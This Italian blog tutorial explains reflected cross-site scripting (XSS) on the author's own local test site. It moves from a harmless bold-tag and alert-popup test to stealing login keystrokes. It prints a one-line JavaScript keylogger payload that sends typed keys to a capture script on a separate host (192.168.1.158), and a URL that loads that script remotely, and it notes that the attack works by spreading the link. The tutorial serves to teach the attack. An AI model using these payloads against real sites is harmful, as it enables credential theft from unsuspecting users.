Il Cross Site Scripting è un tipo di attacco che permette ad un utente di far eseguire a delle pagine web dinamiche dei comandi non previsti dal programmatore inserendo delle direttive nell’url della pagina.
Rischi
I rischi derivanti da un attacco XSS sono numerosi. Il principale effetto che si può avere è quello di ottenere un link da poter condividere con chiunque che risulti “ufficiale” perché effettivamente riporta l’indirizzo del sito reale, ma che includa delle funzioni dannose come ad esempio quelle di rubare cookies e password.
Analizziamo un esempio
Ho creato un sito fittizio server2.lan con un codice che mostra ai visitatori un “Benvenuto”
(Il sito è accessibile solo attraverso la mia rete locale, quindi i link non funzioneranno sui vostri PC)
Image may be NSFW.
Clik here to view.
È possibile personalizzare il benvenuto passando alla pagina un parametro con il nome. In questo caso “Andrea” e l’indirizzo diventerà http://server2.lan/pag.php?name=Andrea.
Image may be NSFW.
Clik here to view.
Fino ad ora abbiamo analizzato il normale funzionamento della pagina, adesso proviamo a vedere se la pagina è vulnerabile ad un attacco XSS.
Proviamo a cambiare la formattazione della parola “Andrea” rendendola in grassetto.
Generiamo un link con questa funzione:
http://server2.lan/pag.php?name=<b>Andrea</b>
Image may be NSFW.
Clik here to view.
Funziona! La pagina non solo esegue la funzione per cui è stata progettata ma esegue anche dei comandi non previsti.
Ora che sappiamo che la pagina è vulnerabile possiamo provare ad inserire del codice più complesso.
Ad esempio facciamo uscire un pop-up inserendo il codice “<script>alert(‘Questo sito è stato attaccato sfruttando una vulnerabilità XSS’)</script>” nell’url che diventerà:
http://server2.lan/pag.php?name=Andrea<script>alert(‘Questo sito è stato attaccato sfruttando una vulnerabilità XSS’)</script>
Image may be NSFW.
Clik here to view.
Vediamo adesso come questo tipo di vulnerabilità può essere sfruttata per violare la privacy
Ho realizzato per voi questo schema che chiarisce il concetto di cui stiamo parlando.
Image may be NSFW.
Clik here to view.
Proviamo ad esempio a sottrarre delle credenziali d’accesso utilizzando sempre il sito fittizio ed immaginando che sia un sito reale e funzionante come ad esempio un social network o un sito bancario.
Image may be NSFW.
Clik here to view.
Scriviamo uno script che salvi in un file di testo qualsiasi parametro gli passiamo.
Image may be NSFW.
Clik here to view.
Testiamolo.
Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.
Ora che sappiamo che il nostro script cattura qualsiasi testo dobbiamo trovare il modo di far inviare al nostro script dei dati dal sito fittizio utilizzando la vulnerabilità XSS.
Scriviamo un codice Javascript che una volta inserito nell’url della pagina invierà al nostro script keylogger i dati inseriti per l’accesso.
Nel codice è necessario inserire la “posizione” dello script keylogger che nell’immagine è stata evidenziata dal rettangolo rosso.
Image may be NSFW.
Clik here to view.
Facciamo in modo che il codice sia tutto su una riga.
Image may be NSFW.
Clik here to view.
Generiamo il link contenente il codice XSS:
http://server2.lan/pag.php?name=Andrea<script>var keys=”;document.onkeypress=function(e){var get=window.event?event:e;var key=get.keyCode?get.keyCode:get.charCode;key=String.fromCharCode(key);keys+=key}window.setInterval(function(){new Image().src=’http://192.168.1.158/keylogger.php?c=’+keys;keys=”},10);</script>
Dopo numerosi tentativi mi sono reso conto che questo codice così complesso non viene eseguito. La soluzione è caricare il codice che avremmo voluto inserire nell’url in un file sul nostro server locale (Quello su cui arriveranno i dati) ed inserire nell’url soltanto il link allo script.
Image may be NSFW.
Clik here to view.
L’url funzionante contenente l’attacco XSS sarà quindi:
http://server2.lan/pag.php?name=Andrea<script src=”http://192.168.1.158/key.js”></script>
Image may be NSFW.
Clik here to view.
In questo modo i dati vengono catturati e ci vengono recapitati.
Per rendere effettivo l’attacco basterebbe diffondere il link apparentemente corretto, poiché riporta l’indirizzo esatto del sito, ma che contiene del codice a cui i meno esperti non presterebbero attenzione.
Andrea Carriero | BTBH
https://btbh.net
https://codethinker.net
andrea@btbh.net
L'articolo Virus e sicurezza informatica: XSS (Cross Site Scripting) sembra essere il primo su Matematicamente.